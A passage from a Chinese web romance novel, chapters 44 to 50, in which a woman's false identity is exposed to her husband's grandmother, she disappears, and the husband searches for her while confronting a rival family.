岑予衿以为他们要返回停车场,下意识地要往那个方向走,却被陆京洲轻轻拉住。 “这边。”他带着她转向了店旁的另一条通道。 “嗯?车不是停在那边吗?”岑予衿有些疑惑地眨眨眼。 话音刚落,一辆崭新锃亮的黑色库里南稳稳停在了他们面前。 流畅的车身在霓虹灯下反射出冷冽而奢华的光泽,与之前那辆完全不同。 驾驶座上的司机迅速下车,恭敬地将钥匙递给陆京洲,“陆二少,车已送到。” 陆京洲接过钥匙,摆了摆手,司机便躬身退开了。 他这才侧头看向身边有些发愣的小女人,唇角勾起一抹似笑非笑的弧度,抬手用指节轻轻敲了敲副驾驶的车窗。 “看清楚了,”他声音低沉,带着一种难以言喻的郑重,“这辆,全新的。从里到外,从出厂到停在这里。” 他目光灼灼地锁住她惊讶的眼眸,一字一句,清晰无比,“副驾驶的位置,除了你,连只母蚊子都没停过。” 他拉开车门,做出一个“请”的姿势,眼神里带着戏谑和十足的认真,“陆太太,请上车。以后这座位,只归你管。还膈应吗?” 岑予衿的心像是被什么东西猛地撞了一下,酸酸软软,又带着难以置信的悸动。 她没想到自己之前在车上那句带着醋意和试探的嘀咕,竟被他如此郑重其事地放在心上,并用这样一种近乎霸道又浪漫的方式给予了回应。 她看着他深邃眼眸中映出有些傻气的自己,脸颊微微发烫,心底那点小疙瘩,瞬间被熨帖得平平整整。 她抿着唇,努力想压下上扬的嘴角,却还是忍不住弯起了眼睛,像只被顺毛撸得极其舒适的小猫,乖乖地坐进了副驾驶。 在陆京洲为她系安全带时,小声回应,“不膈应了……谢谢老公。” 陆京洲动作一顿,眼底瞬间翻涌起浓稠的暗色和愉悦。 他低笑一声,帮她扣好安全带,指尖在她鼻尖轻轻一点,“乖,回家再谢。” 第45章 趁着没感情早点离婚 岑予衿心情不错,身边的男人心情更好。 从宴会厅出来之后,嘴角的笑容就没有落下去过。 持续到了家里。 岑予衿想到他刚才说的话,心情稍微复杂了些,他不会当真了,想给她看他的身材吧。 他们俩真的还没有熟到那个地步。 有亿点点不好意思。 她洗完澡之后,乖乖的躺着床上,脑子里却一直胡思乱想。 陆京洲洗完澡出来,看她还瞪着眼睛没有睡,揉了揉她的脑袋,“今天还有点事情需要处理,明天再给你摸。” 摸啥呀? 我的天! 这陆京洲怎么和她了解一点也不一样,“我……” 陆京洲不再逗她,“睡觉吧,晚安。” 说完把房间里的大灯关了,只留一盏暖黄的床头灯。 岑予衿有点睡不着,脑子里全是今天晚上晚宴发生的事情,以及陆京洲对她的态度。 不知道为什么,心里就是莫名其妙很舒服。 岑予衿一下子把被子拉到头顶,在床上滚来滚去。 “扣扣!” 外头的敲门声突然响了起来。 岑予衿坐起身来,头发还有些凌乱。 陆京洲不是才出去吗,这会来敲门的会是谁? 他回自己房间应该不会敲门吧? “二少奶奶,您睡了吗?” 外头是老太太给她安排的佣人小琳的声音。 “没呢,小琳,这么晚了,有什么事吗?” 小琳的声音也有些着急,“您要是没睡的话,老太太让我带您去她那儿一趟。” 岑予衿皱眉,都这么晚了,怎么还让她过去? 难不成是因为陆京洲提前带她离席,老太太不开心了。 老太太也不是那么小气的人呀。 “好,你在楼下等我,我换件衣服马上。” 岑予衿换了套衣服,又找了件厚一点的羽绒服,把自己裹得严严实实的才出门。 已经入冬了,京北昼夜温差大,她畏寒受不住。 岑予衿跟着小琳踏着夜色往老太太住的主楼走去。 寒风凛冽,她将羽绒服的帽子也戴上了,整个人裹得像只圆滚滚的小熊,只露出一张白皙的小脸。 她心里打着鼓,努力回想今晚在宴会上是否有不得体的地方,除了……动手那一下。 “小琳,”岑予衿加快两步,与小琳并肩,状似随意地低声问道,“奶奶这么晚叫我过去,是有什么事吗?是不是……我今晚哪里做得不好,惹她老人家生气了?” 小琳脸上也带着些许困惑和不安,摇了摇头,“二少奶奶,具体什么事我也不清楚。老太太从宴会回来后就去了书房,到现在都没有出来过,刚才打了个电话让我过来请您过去。” 岑予衿还是没想明白究竟是为了什么。 “那个……奶奶只叫了我吗?还是也找阿洲过去了?” “我们出门之前,二少爷好像开着车出门了。” 陆京洲这么晚出去干什么? 算了! 他就那性格,管也管不住。 不过,陆京洲不在,老太太要是为难她的话,她可怎么办。 也不知道到底是为了什么事情,她这心里直打鼓。 小琳把她带进了老太太的院子,在书房门口停下,“二少奶奶,您自己进去吧。” 岑予衿笑着冲她点了点头,“好,你早点休息吧。” 稍微平复了一下心情,才敲了敲门,“奶奶,是我!” “进。”陆老太太的声音听起来有些严肃。 岑予衿心里更没底了。 打开门往里走。 书房内灯火通明,沉重的红木书桌上,并没有摆放茶具,而是摊开着几张照片和一份文件。 陆老太太端坐在书桌后的太师椅上,背脊挺直,脸上没有了往日的慈祥,只剩下一种历经风浪的威严和冰冷的审视。 她甚至没有示意岑予衿坐下。 岑予衿的心瞬间沉到了谷底。 她强迫自己维持着镇定,走到书桌前,目光不经意地扫过桌面。 隔得有些远,她看不清楚具体是什么,心里有些慌。 “奶奶,您突然叫我过来,是有什么事儿吗?”岑予衿的第六感告诉自己有什么不好的事情发生。 “别叫我奶奶!”陆老太太猛地一拍桌面,声音不大,却带着怒意,“我受不起,岑小姐这句奶奶。” 岑予衿知道老太太这么说,一定是查清楚了,要不然也不会这么笃定。 “岑予衿!”老太太一字一顿地叫出这个名字,手指一下下的戳着面前的照片,“你告诉我,这到底是怎么回事?!你到底是周家二小姐周芙笙,还是已经‘死了’的岑予衿?!” 岑予衿血液瞬间凝固。 她最害怕的事情,终究还是发生了。 她张了张嘴,却发不出任何声音,所有的辩解和伪装在这样确凿的证据下,显得苍白又无力。 “说话!”陆老太太见她沉默,怒气更盛,狠狠的拍着桌子,把照片全甩在她面前。 这一声瞬间击溃岑予衿最后强撑的力气。 她没有再试图辩解,也没有哭泣哀求,而是“噗通”一声,直挺挺地跪在了冰冷的地板上。 羽绒服厚重的布料与地面摩擦,发出轻微的声响。 她挺直着背脊,低着头,双手紧紧攥着衣角,指甲深深掐入掌心。 “对不起,奶奶……不,陆老夫人。”她的声音带着无法抑制的颤抖,却异常清晰,“我确实不是周芙笙,我是岑予衿,是周时越的亡妻。” 她抬起头,脸色苍白如纸,眼圈瞬间红了,但眼神里却没有丝毫闪躲,迎上陆老太太震怒的目光。 “我确实骗了您,用周芙笙的身份嫁进了陆家。”她一字一句,承认了自己最大的罪状。 “为什么?!”陆老太太看着她这副样子,心口堵得发疼,更多的是被欺骗的痛心,“我们陆家是哪里对不起你?还是京洲他哪里配不上你?让你要用这种手段?!你处心积虑,假死,冒充他人,你到底想从陆家得到什么?!” 老太太锐利的目光扫过桌上的文件,“是为了岑氏,对吗?你当初提出要岑氏作为条件,我就该想到!你根本就是冲着这个来的!你利用京洲,利用陆家,为你自己夺回家产铺路!” “不是的!”岑予衿急切地抬头,眼泪终于忍不住滚落下来,“我承认,我是想要回岑氏,那是我父母的心血……但我从没想过要利用京洲来达到这个目的!更没想过要伤害他!” “没想过伤害他?”陆老太太厉声打断,语气带着刺骨的嘲讽,“那你告诉我,你那个青梅竹马的周时越呢? 他为了你能在周家祠堂跪三天三夜,这份感情,是假的吗? 你为了他世界各地找了他两年,这也是假的? 你顶着周家二小姐的身份嫁给我孙子,心里却装着另一个男人,这不是伤害是什么? 京洲他知道自己掏心掏肺对待的妻子,心里可能一直有别人吗?” 陆老太太重重的叹了口气,“趁着你们俩现在没什么感情,早点离婚吧。” “没有别人!”岑予衿几乎是喊出来的,跪着向前挪了半步,仰着头,泪水涟涟,眼神却异常执拗,“我和周时越早就过去了!” 她深吸一口气,仿佛用尽了全身的力气,声音哽咽却无比清晰,“我嫁过来是被逼无奈的,不过我发誓,我真的不是故意爬上阿洲的床,这真的只是意外。” 她的声音低了下去,带着浓重的鼻音和一丝连自己都未曾察觉的柔软,“周时越在我们领证第二天就出事儿了,三个月前回国,失忆了还带回来了个女人,他说那是他的妻子。 他想让我腾位置,改了我的身份,注销了我的身份,还给我办了一场葬礼。 您找到我的时候,我想和您坦白,可我害怕,我怕您会嫌弃我的身份。 嫁进陆家是我唯一的机会,只有嫁进陆家才能脱离他们的掌控,我想着找个机会向您坦白的,可……” 岑予衿实话实说,这会不说实话,也已经瞒不住了,“阿洲对我的好,我都知道,今晚在宴会上,我听到他们那样说他,我这里……” 她用手指着自己的心口,“疼得厉害,比什么都疼。我忍不住,我就是不想任何人欺负他,看不起他!” 陆老太太紧紧盯着她,审视着她脸上每一丝表情,看着她通红的眼眶,听着她话语里对陆京洲那份不自觉的维护,心中的震怒微微动摇,但疑虑并未完全消除。 书房内陷入一片死寂,只有岑予衿压抑的抽泣声和老太太沉重的呼吸声。 过了许久,陆老太太才缓缓开口,声音依旧冰冷,却少了几分之前的凌厉,“你起来,陆家不兴跪着说话。” 岑予衿却固执地摇了摇头,眼泪砸在地板上,“老夫人,我知道我错了,错得离谱。我不敢求您原谅,但我对京洲……或许开始时是欺骗,可现在,我是真的想和他好好过日子。 请您……再给我一次机会,不要告诉他……至少,不要是现在……” 她再次低下头,肩膀微微颤抖,等待着最终的审判。 陆老太太看着她脆弱却挺直的背影,眉头紧锁。 第46章 结婚证呢?给我! 想到她肚子里还怀着宝宝,起身把人从地上扶了起来,“坐下说,我重孙子出了事儿你可担不起。” 岑予衿还猜不准她的心思,但也没有反驳,按照他说的乖乖坐着。 “说说吧,究竟是怎么回事儿?” 岑予衿想到那段时间发生的事情,还是会忍不住委屈,眼眶又红了,“他刚回国的那段时间,我确实不死心,舔着脸追了他,我最难的时候是他救了我。做人要有良心,他消失的那几年,我一直在找他。 可找到他,他带了人回来,错的又成了我。他们诬陷我,给我办葬礼,销户口,改名换姓,让我嫁给一个60岁的老头。遇到阿洲那天晚上是意外,周家找了十几个混混,想要玷污我。 我不小心闯进了阿洲的房间,他恰好被人下了药……之后我想吃药,可周家的人把我带回去关了起来。” 岑予衿越说越委屈,眼泪吧嗒吧嗒的掉下来羽绒服上,“我发现的时候,已经怀孕了,之后的事情您全都知道了,一开始我不知道孩子的父亲是谁,也是没想过傍上陆家。” 老太太知道这些事儿她并没有说谎。 任谁被欺骗了都会觉得很生气。 现在的她对周家,对周时越是个什么样的态度,并不是三言两语就值得原谅的。 10多年的感情……怎么可能一朝一夕就消磨殆尽? “您提出让我和阿洲结婚的时候,我确实犹豫了,我的生活一团乱麻,我不想把他拉进来。可……您开出来的条件,那时候的我根本无法拒绝。只有进了陆家,我才安全。” 岑予衿眼泪汪汪的看着她,吸了吸鼻子,像是下定了决心,“奶奶,宝宝快两个月了,我现在已经从周家逃出来了,不想把宝宝打掉。” 岑予衿轻轻的抬手放在自己的小腹,声音温柔,“阿洲,不像外面传的那么离谱,他是一个很好的人,我知道我配不上他。我可以跟他离婚,净身出户,我只求您一件事儿。” 陆老太太捏了捏眉心,真没一个省心,好不容易娶了个孙媳妇儿,还是个骗子,“你还要跟我谈条件?” 老太太身上散发出来的压迫感实在是太强了。 尽管她也经历过很多事情,但在她面前完全抬不起头,就是渣渣。 “离婚证……我马上就可以和您去办理,等离婚后,您送我出国。像您说的,我们现在感情还不深,分开也是一个正确的选择。” 陆老太太觉得她的态度还算诚恳。 目前处于劣势的她真会这么轻易就放弃。 估计是奔着孩子的抚养权来的。 只要肚子里的孩子平安,她和陆家就断不了。 “至于宝宝……”岑予衿深吸了口气,停顿了2秒。 陆老太太比她还紧张,目光紧紧的锁在她身上,想听听他接下来要说什么。 “至于宝宝……在国外平安生下来之后,我会还给陆家,由您亲自抚养,比跟着我要好强,我给不了陆家给他的生活。我也相信,您会照顾好他。” 陆老太太有些意外她会这么说,没有说话审视的目光依旧停留在她身上。 “我们离婚的事情,等孩子生下来,您对外宣称我难产离世,宝宝就不是非婚生子。” 陆老太太冷笑了一声,“你考虑了所有人,唯独没有考虑你自己,你觉得我会相信你所说的话?” 岑予衿冲她笑了笑,笑容有些苦涩,“我最不需要的就是考虑自己。这个世界上早就没有我在乎的人,也没有在乎我的人了。” 父亲被判了七年,还有5年。 母亲离世,没有任何牵挂。 跟陆家对着干没有好下场。 最好的办法就是让老太太送自己出国。 把手里所有的资产拿出来,该翻案就翻案,替岑家洗刷冤屈,从岑利明手里把岑氏夺回来。 要是失败,大不了鱼死网破,带着周家和岑家人一起死。 反正她已经没有任何牵挂了。 “周时越呢?如果他突然恢复记忆,像两年前一样,为你奋不顾身,拼尽全力呢?” 陆老太太冷笑了一声,并没有答应她的要求,反而是问了另外一个问题。 提到周时越,岑予衿放在身侧的手,不自觉地攥紧。 眼中流露着些许错愕。 她没想过这个问题。 不对……她想过这个问题,但现在的她没想过这个问题了。 他刚回国那会,她晚上做梦都想让他恢复记忆,想让那个满心满眼都是她的人回来。 想要告诉他这两年自己过得有多辛苦。 可是当他带了个女人回来,想让她腾位置。 让10多个混混侮辱她,给她办葬礼,改名换姓让她嫁人,以及……把人带到新房,当着她的面做…… 尽管知道他们俩在一起两年,绝对不可能没有一点肢体接触。 可……她这样对感情有重度洁癖的人,接受不了。 特别是自己亲眼所见的情况下。 她只觉得恶心。 这一系列下来她是真的累,哪怕他恢复记忆,她也不可能回头。 在周家的那两年,算是她对他的弥补。 和他决裂的那天,她就说过了,再见面只会是仇人。 那再见面……就真的只会仇人。 现在周时越在她心里的位置还不如陆京洲。 岑予衿眼中的错愕缓缓褪去,取而代之的是一种近乎冷漠的平静,她摇了摇头,声音很轻,却带着一种斩钉截铁的决绝,“不会了。就算他恢复记忆,那个为我奋不顾身的周时越,也早就死在了两年前。 现在的他是亲手将我推入深渊的周时越奶奶,破镜重圆的前提是,那面镜子只是有了裂痕,而不是已经被碾成了齑粉,连重铸的可能都没有了。” 她抬起手,轻轻抹去脸颊上未干的泪痕,继续道,“我对他,没有恨,也没有爱了,只剩下……算了。我现在唯一的念头,就是保住这个孩子,然后做完我该做的事。” 陆老太太凝视着她,那双阅尽世事的锐利眼眸似乎要看进她的灵魂深处。 她柔弱的外表下是经历过巨大创伤后的坚韧与决绝,甚至带着一丝不易察觉的毁灭倾向。 “结婚证呢?”陆老太太没来由的问出了这么一句话,“给我。” 岑予衿知道老太太这是同意她的要求了,毕竟离婚也是需要结婚证的,“在卧室,我去取过来。” “不用,我会派人去取。” 岑予衿微微颔首,没说话。 第47章 奶奶,我媳妇儿呢? 陆京洲大半夜的也不想出门。 只是陈家需要他处理。 陈正蓬那个狗东西,说他就算了,还敢说他母亲,还气着了他家小白兔,那就得让他知道京城到底是谁说了算? 陆京洲的车稳稳停在陈家大院门口。 他的车停下,身后几十辆车,也跟着稳稳停下。 身后那辆车的保镖率先下车,躬身替他打开车门。 陆京洲下车,将陈家的大门一脚踹开。 大步往里走。 身后的保镖架着被打的跟猪头似陈正蓬下了车。 陈建明与王美琳夫妇,见到陆京洲带着一身凛冽的寒气闯入,身后保镖还拖着不成人形的陈正蓬,皆是一愣。 王美琳当即尖叫一声扑了过去,“蓬儿!你们把我儿子怎么了?!” 陈建明到底是经历过大风浪的,虽心惊肉跳,却强自镇定,“陆二少,你这是什么意思?深夜闯我陈家,还把我儿子打成这样,未免太不把我陈家放在眼里了!” 陆京洲没理会王美琳的哭嚎,径直走到主位沙发坐下,双腿交叠,姿态慵懒却带着迫人的威压,“陈家有需要我放在眼里的人吗?” 他漫不经心地掸了掸袖口并不存在的灰尘,这才抬眼看向陈建明,眼神冰冷如刃。 “陈总。”他开口,声音不大,却让整个客厅的温度骤降,“令郎今晚在宴会上,当众侮辱我母亲,诋毁我陆家,还意图对我太太动手。你说,这笔账,该怎么算?” 陈建明心里一咯噔,他知道自己儿子是个什么德行,肯定是酒后失言闯了大祸。 他试图缓和气氛,“陆二少,这……这一定是误会!正蓬他喝多了,胡言乱语,我让他给二少和少夫人赔罪……” “赔罪?”陆京洲嗤笑一声,打断他,“我陆京洲的母亲,是随便什么阿猫阿狗都能编排的?我明媒正娶的太太,是能让他指着鼻子骂‘贱人’的?” 他眼神一厉,身后的助理立刻上前,将一份文件递到陈建明面前。 “令郎不只是嘴臭,”陆京洲语气平淡,却字字诛心,“陈氏建材,近三年偷税漏税高达数亿,这是证据。另外,他去年醉酒驾驶肇事,找人顶替,致使受害者重伤不治;还有,利用项目之便,收取巨额回扣,挪用公款……这些,够他在里面待一辈子了。” 陈建明颤抖着手翻开文件,越看脸色越白,冷汗瞬间浸湿了后背。 这些证据确凿,一旦曝光,陈氏不仅完蛋,他们全家都得进去! “陆二少……您……您高抬贵手……”陈建明的声音都变了调,之前的强硬荡然无存。 陆京洲身体微微前倾,目光如鹰隼般锁定陈建明,给出了两个选择,声音不容置疑,“第一条路,你们陈家主动登报,与陈正蓬断绝关系,将他这些年做的‘好事’公之于众,亲自把他送进监狱。陈氏主动补缴,或许还能在京城苟延残喘,但规模必须缩减七成,以后夹着尾巴做人。” 王美琳一听,尖叫起来,“不行,我就这么一个儿子,你不……” “第二条路,”陆京洲根本没看她,继续冷冷地说道,“你们保他。那么,三天之内,我会让陈氏在京北彻底消失。这些证据,会同时送到该去的地方。你们一家,可以整整齐齐,进去陪他。” 他站起身,居高临下地看着面如死灰的陈建明,“陈总,是弃车保帅,还是……全家一起万劫不复?我给你一晚时间考虑。” 说完,他不再多看这混乱的一家人一眼,转身大步离开。 保镖像扔垃圾一样将奄奄一息的陈正蓬丢在地上,紧随其后。 陈正蓬听到这话眼神涣散,“爸,你不能放弃我,我不想进监狱,我不想在那种暗无天日的地方待一辈子。我要进去我就真的毁了。” 陈建明眉头皱的紧紧的,一巴掌甩在了他脸上,“他是什么人你不清楚吗?你惹他干嘛?” “爸,我真不是故意的,我喝多了。知错了,我一定改过自新,重新做人。” 王美琳也抱着儿子哭得上气不接下气,“你可就这么一个儿子,你是真想让你们成家绝后吗?” 陈建明像是下定了决心,“一个陆京洲罢了,我看他能掀起什么风浪,明天就能知道和京耀财团合作能不能成,要是能成,别说是一个陆京洲,就是陆家见到我们也得礼让三分。” “可是爸他就是个疯子,要是他让我们明天早上就给他答案怎么办?” 陈建明看儿子被打成这个样子,也心疼,“等会我会把你连夜送到你二叔家,有你二叔护着,陆京洲再怎么嚣张也不敢去总统府抢人。” “对,二叔可是总统面前的红人,陆京洲肯定不敢拿他怎么样。” 陈正蓬这才微微松了口气。 …… 陆京洲处理完这边的事情已经不早了。 回家之后,也没回卧室。 去书房处理文件,处理完已经凌晨了。 直接在书房住了一晚上。 他有早起的习惯,可起床吃完早餐,也没见家里的小白兔起床。 还以为是她又赖床了,去楼上看了一眼。 房间里压根就没有人,且昨天晚上都没有回来住的痕迹。 陆京洲就纳闷了,明明昨天晚上人是他亲自送回来的,确定她上床休息了之后才离开。 怎么一大早人就不见了呢? 跑哪去了? 陆京洲下楼,又找了一圈,还是没找着人,问了家里的几个佣人,也说没见着。 这还真是奇了怪了,人还能无缘无故消失了不成? 陆京洲刚要往外走,迎面就遇上了小琳。 小琳似乎刚从外面回来,手里还提着不少东西。 “二少爷,您这是要去哪儿啊?” 陆京洲突然想到她们俩关系还挺好的,停下了脚步,皱着眉头问,“你没看到笙笙吗?昨晚好像没在卧室住。” “二少奶奶,昨天晚上昨天没回来吗?”小琳有些疑惑的开了口。 “你知道她去哪了?” 小琳实话实说,“昨天晚上您出门了之后,老太太让我过来带二少奶奶过去书房一趟,我把二少奶奶带过去之后,她让我先回来了。” “应该是昨天晚上太晚了,二少奶奶就住在老夫人那儿了吧。” 小琳猜测。 大晚上的,昼夜温差大,入冬了还挺冷的。 估计是二少奶奶不想回来,老太太就让她住下了。 陆京洲松了口气,他还以为人失踪了,“你去忙吧,我去把人带回来。” “嗯。” 小琳看着陆京洲远去的背影,嘴角控制不住的往上扬。 谁说二少爷不会疼老婆的? 他可太会疼老婆了。 老婆才不见多久啊,就上赶着去找了。 陆京洲火急火燎的跑到了老太太住的院子。 刚进门,最近老太太正在吃早餐,在房间里看了一圈,也没看到某人的身影,有点不太开心。 “找什么呢?”陆老太太看着他进门就心不在焉的样子,没好气的开了口。 “奶奶,我媳妇儿呢?”陆京洲撑着桌子,看着陆老太太问道。 第48章 该离婚离婚,该出国出国 陆老太太听到这话,放下了手里的碗筷,皱眉看向他,“你媳妇儿?你不是看不上她,现在倒是承认了?变脸的速度未免也太快了些。” 陆京洲总觉得老太太话里有话,但是不知道该从何说起,“她这不是还怀着孩子吗?小琳说昨晚把人送过来您这边了,这大早上的还没回去,我就过来问问。” “哦~原来是这样。”陆老太太了然。 “那你可以回去了,她人不在我这儿。” 陆京洲听到这话,错愕了一瞬,“那她人去哪了?” 陆家这么大,她不会是迷路了吧? 这要是在附近迷路还好,闯到苏月兰那边去就不好了。 “阿洲,她不适合你,你不是不想结婚吗?奶奶不逼你,你们俩离婚,这婚啊,你想结就结,不想结就算了。” 陆京洲更意外了,老太太比谁都想让她结婚,这太阳是打西边出来了。 不对……十分有十二分不对。 昨天出门的时候还好好的,怎么才过了一晚老太太变化就这么大。 “不行。”陆京洲想都没想就拒绝了,“她还怀着孩子,我得先找到她,其她的事情再说。” 陆京洲心底升起一股不好的预感,“而且,您都已经把檀月山庄转到她名下了,现在离婚,她要是不肯把檀月山庄转回给我怎么办?” 陆老太太听到这话,笑出了声,“一个小小的檀月山庄而已,奶奶帮你搞定,这婚先离了。” 陆京洲心底的疑云越来越重。 老太太对檀月山庄的轻描淡写,与前几天强硬地将山庄过户给岑予衿以绑定她的态度截然相反。 这突如其来的转变,只可能源于一个原因,周芙笙对老太太说了什么。 他眸色沉静,不动声色地试探,“奶奶,是不是她跟您说了什么?她年纪小,经历又复杂,说话或许有不周全的地方,您别往心里去。” 陆老太太掀起眼皮看了他一眼,语气听不出喜怒,“她能跟我说什么?不过是些实话。你既然无心婚姻,她也有她的难处,强扭的瓜不甜。趁着现在知道的人不多,感情也不深,好聚好散对谁都好。” “好聚好散?”陆京洲咀嚼着这四个字,唇角勾起一抹似笑非笑的弧度,眼神却锐利起来,“奶奶,您昨天还告诉我,既已成家,就该担起责任。怎么今天就成了好聚好散?是她想散,还是……您想让她散?” 他身体微微前倾,目光锁定老太太,声音压低了几分,带着不容置疑的笃定,“她人到底在哪儿?是不是您已经让她离开了陆家?” 老太太与他对视,空气中仿佛有无形的交锋。 片刻,她叹了口气,知道瞒不过这个心思缜密的孙子,却也未完全坦白,“她确实提出了离婚,也愿意放弃孩子,只求我送她出国,从此不再踏足京城。” 陆京洲周身的气息骤然一冷。 放弃孩子?出国?他脑海中瞬间浮现出昨夜她依偎在他怀里,说他们是一家人,要同甘苦,共进退,为了维护他而张牙舞爪的模样,那样鲜活,那样炽烈。 不过一夜之间,她就做出了这样的决定? 他几乎立刻就想通了关窍。 一定是老太太跟她说了什么,要不然一个人的态度转变不可能这么快。 愚蠢! 陆京洲心底涌上一股难以言喻的怒火,既气她的不告而别和轻易放弃,更恼她将他陆京洲看作是无法护她周全的人。 他猛地站起身,眼神里是前所未有的认真与强势,“奶奶,我既然结了这个婚,离婚,不可能。她周芙笙既然嫁给了我,怀了我的孩子,这辈子就只能是陆太太,要是她真的想离,让她亲自来找我,要我放过她,休想。” 他语气斩钉截铁,带着不容反驳的决绝,“至于她人在哪里,我会自己找。您不必再费心安排她出国的事。陆家的血脉,我的妻子,自然该留在陆家。陆家不是她想来就来,想走就走的地方。” 说完,他不再多言,转身大步流星地朝外走去,边走边拿出手机,语气冰冷地对着那头下令,“立刻查清楚,太太现在的位置。十分钟内,我要知道结果。” 老太太看着他匆忙离去的背影,非但没有动怒,浑浊的眼眸中反而闪过一丝几不可察的满意。 她端起茶杯,轻轻吹了吹浮沫,低声自语,“这还差不多……总算有点为人夫、为人父的样子了。” 她之前逼他结婚,固然有重孙的缘故,又何尝不是想找个人,拴住这匹孤狼,让他真正有个家? 如今看来,这根线,似乎已经悄然系上了。 她还得在这中间多当几天坏人,要不然这两人之间很难有进展。 也能看看,他们俩到底适不适合。 如果不适合,那她还是会按照自己的想法,该离婚离婚,该出国出国。 让所有的一切回到原有的轨道。 第49章 离婚不是你一直想要的吗? 陆京洲还真是低估了老太太的实力。 姜还是老的辣,这句话是一点也没错。 找了半个月,愣是没有一点线索。 人就像从这个地球上消失了一样。 别说是国内,国外他都已经派人找了。 压根就没有,甚至这个人都好像没有出现过。 “呕~”那股反胃的感觉又上来了。 陆京洲这几天也不知道是怎么了,每天吐的昏天黑地的。 吃什么吐什么,特别是早上起床的时候,最严重。 睡整觉的机会都没有,就跟中邪了似的。 家庭医生来看过了,查不出任何病因。 他估计是肠胃问题,还特意的去医院做了个肠胃检查,健康的要命! 就是查不出原因。 陆京洲趴在洗手池上,将胃里的东西全吐出来,才稍微舒服一点。 冲了个澡,拿起手机看了一眼。 周芙笙那个狗女人,嘴上说暗恋他10年,喜欢他喜欢的要死。 现在……离开了他半月,一条消息都没有。 是真沉得住气! 陆京洲看了一眼床上她的哪只小兔子玩偶,实在没忍住,一拳打在了小兔子肚子上。 像是不解气,还狠砸了很多下。 他的指尖在屏幕上狠戳,发送键按得像是要把手机戳穿。 【周芙笙,你能耐了啊?躲了半个月还不露头,真当老子找不到你?】 停顿两秒,又一条消息紧跟着发出去,语气硬得像块冰,内容却泄了底【我告诉你,别给脸不要脸!赶紧报个平安,不然……不然老子把刚给你买的那几个限量款包全送别的女人!】 等了三分钟没收到回复,他眉峰拧得能夹死苍蝇,指尖飞快敲打,【装死是吧?你以为躲着就行?我警告你,再不回消息,老子现在就飞遍全球找你,找到了弄死你。顺便告诉你,这几天老子吃什么吐什么,觉也睡不好,你最好祈祷别让我抓到,不然有你好果子吃!】 末了又补了条,语气依旧嚣张,却藏着藏不住的急切:【我又没说不要你,你没必要学着那些带球跑的女主,带着宝宝到处乱跑吧。】 消息发出去,陆京洲把手机往床头柜上一扔,力道大得差点弹起来。 他扯了扯浴袍领口,对着空房间冷哼:“周芙笙老太太的话你可千万别听,没一句好话。” “再不回来我可真要签离婚协议了,要是离婚了,你求着我复婚,我都不会复婚的。” “骗子!小骗子!大骗子!”陆京洲愤怒的锤着床,“大骗子,肚子里还揣着个小骗子!” “还有你那破身体,自己都照顾不好,还想照顾孩子?赶紧滚回来,不然孩子出点什么事,你担得起?” 陆京洲无奈的瘫在床上,指着灯就在那儿瞎骂。 “别以为我是担心你和孩子,我就是怕老太太到时候闹起来,烦!” “周芙笙,要不我睡个觉?你来我梦里告诉我?” 陆京洲是真的没办法了,躺在床上胡言乱语。 又觉得说出这句话之后特别晦气,搞得好像她死了一样。 老太太那边,他每天都去闹,可闹了也没用,她口风紧的很。 陆京洲真是什么办法都用过了,软的硬的都不行。 老太太像是真的要让他们离婚。 陆京洲越想越憋闷,胸口那团火蹭蹭往上冒。 他猛地从床上弹起来,抄起手机就拨通了群聊电话,语气冲得能点燃空气: “程凌晟,傅星驰,皇都,十分钟后见!” 说完根本不给对方反应的机会,直接掐断。 “皇都”酒吧顶楼的私人包间里,陆京洲面前已经空了两个酒瓶。 程凌晟和傅星驰交换了一个眼神,都在对方脸上看到了同样的无奈。 得嘞! 他怕是栽进去了。 “别喝了洲哥,”程凌晟试着去拿他手里的酒杯,“再喝胃该受不了了。” “滚蛋!”陆京洲一把挥开他的手,眼神凶狠,声音却带着点不易察觉的哑,“老子乐意!胃疼死也比……哼!” 傅星驰慵懒地靠在沙发上,慢悠悠地戳破,“让我们出来,就为了看你借酒浇愁?人还没找到?” “谁找她了!”陆京洲像被踩了尾巴的猫,瞬间炸毛,“老子是出来消遣!那种一声不吭就跑路的女人,值得我找?爱滚哪儿滚哪儿!” 他说得咬牙切齿,仰头又灌了一杯,结果喝得太急,呛得眼眶发红。 程凌晟看不下去了,叹了口气,“洲哥,要不你跟老太太低个头?毕竟……人是在老太太那儿不见的,老太太肯定知道。” “低头?”陆京洲把酒杯往桌上重重一頓,发出沉闷的响声,“是她周芙笙先跑的!她还有理了?带着我的种敢跑那么远,等我把她抓回来……” 狠话放到一半,他却突然哽住,后续的“教训”怎么也说不出口。 烦躁地抓了把头发,他整个人泄了气般瘫进沙发里,盯着天花板上迷离的灯光,眼神有些发直,“你们怎么知道我没有低头?” 程凌晟:“……” 傅星驰:“……” 过了好半晌,包间里只剩下背景音乐在流淌。 陆京洲忽然抬起手臂搭在眼睛上,挡住了所有视线,喉结滚动了几下,用几乎含在喉咙里的声音,模糊地嘟囔了一句“你们说……她一个人在外面,吃得好不好?万一……万一孕吐怎么办?有人照顾她吗?” 这话音轻得几乎要被音乐淹没,却清晰地透露出他嚣张外表下,那份快藏不住的恐慌和牵挂。 傅星驰无奈的耸了耸肩,一语道破,“老大,你不是一开始就看不上人家,离婚不就是你一直想要的结果? 现在老太太说了,会把你一直想要的檀月山庄转到你名下,你还能离婚摆脱她,这不是两全其美的事儿吗? 现在在这儿发疯,有什么意义呢?” 程凌晟听到这话,点头如捣蒜,特别赞同他的想法,“对啊,阿洲,星驰说的很有道理啊,又能离婚,又能拿到檀月山庄,还管她做什么,反正你俩是包办婚姻,又没有什么感情,老太太也跟你保证了,这次之后绝对不会再催你结婚。” 陆京洲听到两人的话,下意识的反驳,“可她还怀着我的宝宝,我总不能让孩子刚出生就没有父亲。” “所以你是为了孩子才找她喽?”程凌晟嘴角忍不住往上勾了勾。 嘴比死鸭子还硬的家伙! 傅星驰继续点火,“她既然选择了离开你,要和你离婚,那也许孩子也被她流了,你就非要一个结果吗?” 程凌晟看了一眼呆愣在原地的陆京洲,挑眉拍了拍傅星驰的肩膀,“你要是真的是为了宝宝,整个京北难不成还找不出第二个想给你生孩子的女人?” 第50章 承认吧,你就是喜欢她! 两人对视了一眼,异口同声道,“承认吧,你就是喜欢她。” 陆京洲手里的酒杯吧嗒一声掉在了昂贵的地毯上。 眼神猩红,像是被他俩触碰到了什么逆鳞,一下子从沙发上站了起来,声音透着自己都没有察觉到的慌乱,“怎么可能……我怎么可能会喜欢一个骗子!嘴里没有一句实话的大骗子。” 